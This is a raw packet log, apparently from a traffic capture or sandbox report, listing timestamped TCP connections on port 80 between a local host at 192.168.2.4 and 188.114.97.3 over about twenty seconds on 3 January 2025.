Jan 3, 2025 11:48:34.603916883 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.604041100 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.609956026 CET	80	51899	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:34.956414938 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.961247921 CET	80	51899	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.066399097 CET	80	51899	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.112154961 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.314955950 CET	80	51899	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.362148046 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.436702013 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.437375069 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.441732883 CET	80	51899	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.441785097 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.442181110 CET	80	51906	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.442229986 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.442322016 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.447123051 CET	80	51906	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.800255060 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:35.805147886 CET	80	51906	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.899954081 CET	80	51906	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:35.942620039 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.068243027 CET	80	51906	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.112219095 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.182183027 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.186940908 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.187520027 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.191956043 CET	80	51906	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.192051888 CET	51906	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.192264080 CET	80	51911	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.194664001 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.194798946 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.199580908 CET	80	51911	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.559684038 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.564548969 CET	80	51911	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.657533884 CET	80	51911	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.705908060 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:36.833072901 CET	80	51911	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:36.877804995 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.080822945 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.081629038 CET	51918	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.085891962 CET	80	51911	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.085961103 CET	51911	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.086447001 CET	80	51918	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.086508989 CET	51918	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.086827993 CET	51918	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.091562986 CET	80	51918	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.442863941 CET	51918	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.447700977 CET	80	51918	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.475960970 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.476212978 CET	51918	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.483912945 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.483984947 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.484075069 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.484565020 CET	80	51918	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.484611988 CET	51918	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.488905907 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.647747993 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.652627945 CET	80	51921	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.652776957 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.652896881 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.657704115 CET	80	51921	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.831705093 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:37.836478949 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.836622000 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.947349072 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:37.994055986 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.002867937 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.008001089 CET	80	51921	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.122292042 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.124717951 CET	80	51921	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.174658060 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.174662113 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.392599106 CET	80	51921	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.440294027 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.518820047 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.518881083 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.520054102 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.523832083 CET	80	51920	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.523955107 CET	51920	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.524122000 CET	80	51921	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.524164915 CET	51921	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.524841070 CET	80	51927	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.524910927 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.525047064 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.529859066 CET	80	51927	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.879761934 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:38.884545088 CET	80	51927	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:38.977626085 CET	80	51927	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:39.018518925 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.233951092 CET	80	51927	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:39.286767006 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.357055902 CET	51933	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.357057095 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.361855030 CET	80	51933	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:39.361977100 CET	51933	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.362071037 CET	51933	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.362224102 CET	80	51927	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:39.362355947 CET	51927	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.366822004 CET	80	51933	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:39.826127052 CET	80	51933	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:39.877826929 CET	51933	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.894040108 CET	51933	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:39.898900986 CET	80	51933	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:40.243303061 CET	80	51933	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:40.284043074 CET	51933	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:40.359873056 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:40.364630938 CET	80	51943	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:40.364684105 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:40.364780903 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:40.369554043 CET	80	51943	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:40.721712112 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:40.726742029 CET	80	51943	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:40.829176903 CET	80	51943	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:40.877791882 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.001945019 CET	80	51943	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.049668074 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.129300117 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.130215883 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.134388924 CET	80	51943	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.134433031 CET	51943	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.134959936 CET	80	51949	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.135015011 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.135134935 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.139851093 CET	80	51949	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.487236977 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.492063046 CET	80	51949	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.606229067 CET	80	51949	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.659040928 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.857625961 CET	80	51949	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:41.909243107 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.998250008 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:41.998251915 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:42.003164053 CET	80	51953	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:42.003217936 CET	80	51949	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:42.003293037 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:42.003293991 CET	51949	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:42.004491091 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:42.009392023 CET	80	51953	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:42.364936113 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:42.369841099 CET	80	51953	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:42.463920116 CET	80	51953	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:42.523785114 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:42.731826067 CET	80	51953	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:42.784059048 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.086639881 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.087694883 CET	51954	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.091629028 CET	80	51953	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.091676950 CET	51953	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.092556953 CET	80	51954	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.092619896 CET	51954	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.092730045 CET	51954	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.097455025 CET	80	51954	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.128460884 CET	51954	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.129170895 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.133919001 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.133974075 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.134053946 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.138792038 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.175513983 CET	80	51954	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.248614073 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.253591061 CET	80	51956	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.253650904 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.253819942 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.258569002 CET	80	51956	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.447397947 CET	80	51954	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.447454929 CET	51954	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.487329960 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.492527008 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.492815018 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.597105980 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.612308025 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.617134094 CET	80	51956	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.637289047 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.695986032 CET	80	51956	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.737245083 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.870915890 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.870930910 CET	80	51956	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.924678087 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.924679995 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.983725071 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.983783960 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.984483957 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.988713026 CET	80	51955	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.988785982 CET	51955	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.989042997 CET	80	51956	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.989186049 CET	51956	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.989337921 CET	80	51957	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:43.989470959 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.989531040 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:43.994276047 CET	80	51957	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:44.346632957 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:44.351510048 CET	80	51957	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:44.452738047 CET	80	51957	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:44.502873898 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:44.719407082 CET	80	51957	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:44.768421888 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:44.849486113 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:44.854321957 CET	80	51958	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:44.854445934 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:44.854588032 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:44.859370947 CET	80	51958	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:45.206064939 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:45.210961103 CET	80	51958	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:45.307156086 CET	80	51958	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:45.362190962 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:45.483839989 CET	80	51958	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:45.534063101 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.053937912 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.055329084 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.058981895 CET	80	51958	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.059043884 CET	51958	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.060167074 CET	80	51959	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.060242891 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.060422897 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.065213919 CET	80	51959	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.409363031 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.414238930 CET	80	51959	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.503911018 CET	80	51959	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.549798012 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.760823011 CET	80	51959	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.815334082 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.874185085 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.874188900 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.879049063 CET	80	51960	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.879164934 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.879215956 CET	80	51959	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:46.879251003 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.879344940 CET	51959	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:46.883986950 CET	80	51960	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:47.237265110 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.338450909 CET	80	51960	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:47.338900089 CET	80	51960	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:47.393443108 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.672313929 CET	80	51960	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:47.721573114 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.792570114 CET	51957	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.797933102 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.798610926 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.802989960 CET	80	51960	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:47.803055048 CET	51960	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.803463936 CET	80	51961	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:47.803540945 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.803658962 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:47.808382034 CET	80	51961	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.178142071 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.183005095 CET	80	51961	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.246898890 CET	80	51961	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.299704075 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.521542072 CET	80	51961	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.565320969 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.760998011 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.761641026 CET	51962	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.766087055 CET	80	51961	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.766143084 CET	51961	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.766419888 CET	80	51962	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.766468048 CET	51962	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.766586065 CET	51962	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.771305084 CET	80	51962	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.878499985 CET	51962	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.879631996 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.884423971 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.884485960 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.884643078 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:48.889357090 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:48.923499107 CET	80	51962	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.003580093 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.008361101 CET	80	51964	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.008445024 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.008570910 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.013387918 CET	80	51964	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.134536028 CET	80	51962	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.134603977 CET	51962	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.237340927 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.242152929 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.242320061 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.334321022 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.362276077 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.367048025 CET	80	51964	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.377824068 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.461972952 CET	80	51964	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.502826929 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.597996950 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.643449068 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.730721951 CET	80	51964	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.784061909 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.859116077 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.859117985 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.859977961 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.864178896 CET	80	51964	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.864402056 CET	80	51963	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.864521027 CET	51964	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.864521980 CET	51963	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.864890099 CET	80	51965	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:49.865034103 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.865096092 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:49.869806051 CET	80	51965	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:50.221786022 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:50.226639032 CET	80	51965	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:50.328329086 CET	80	51965	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:50.379792929 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:50.580734968 CET	80	51965	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:50.627872944 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:50.702023983 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:50.706793070 CET	80	51966	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:50.706876993 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:50.706994057 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:50.711752892 CET	80	51966	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.100814104 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.110677958 CET	80	51966	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.150443077 CET	80	51966	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.206090927 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.368335962 CET	80	51966	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.409084082 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.591850996 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.593099117 CET	51967	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.596883059 CET	80	51966	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.596940041 CET	51966	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.597889900 CET	80	51967	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.597945929 CET	51967	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.599337101 CET	51967	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.604218006 CET	80	51967	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:51.956181049 CET	51967	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:51.961005926 CET	80	51967	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.070364952 CET	80	51967	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.112201929 CET	51967	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:52.252170086 CET	80	51967	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.299695015 CET	51967	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:52.377079964 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:52.382038116 CET	80	51968	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.382110119 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:52.382186890 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:52.386923075 CET	80	51968	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.737517118 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:52.742391109 CET	80	51968	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.853528023 CET	80	51968	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:52.893569946 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.017004967 CET	80	51968	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.065428972 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.137434959 CET	51965	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.137434959 CET	51967	80	192.168.2.4	188.114.97.3
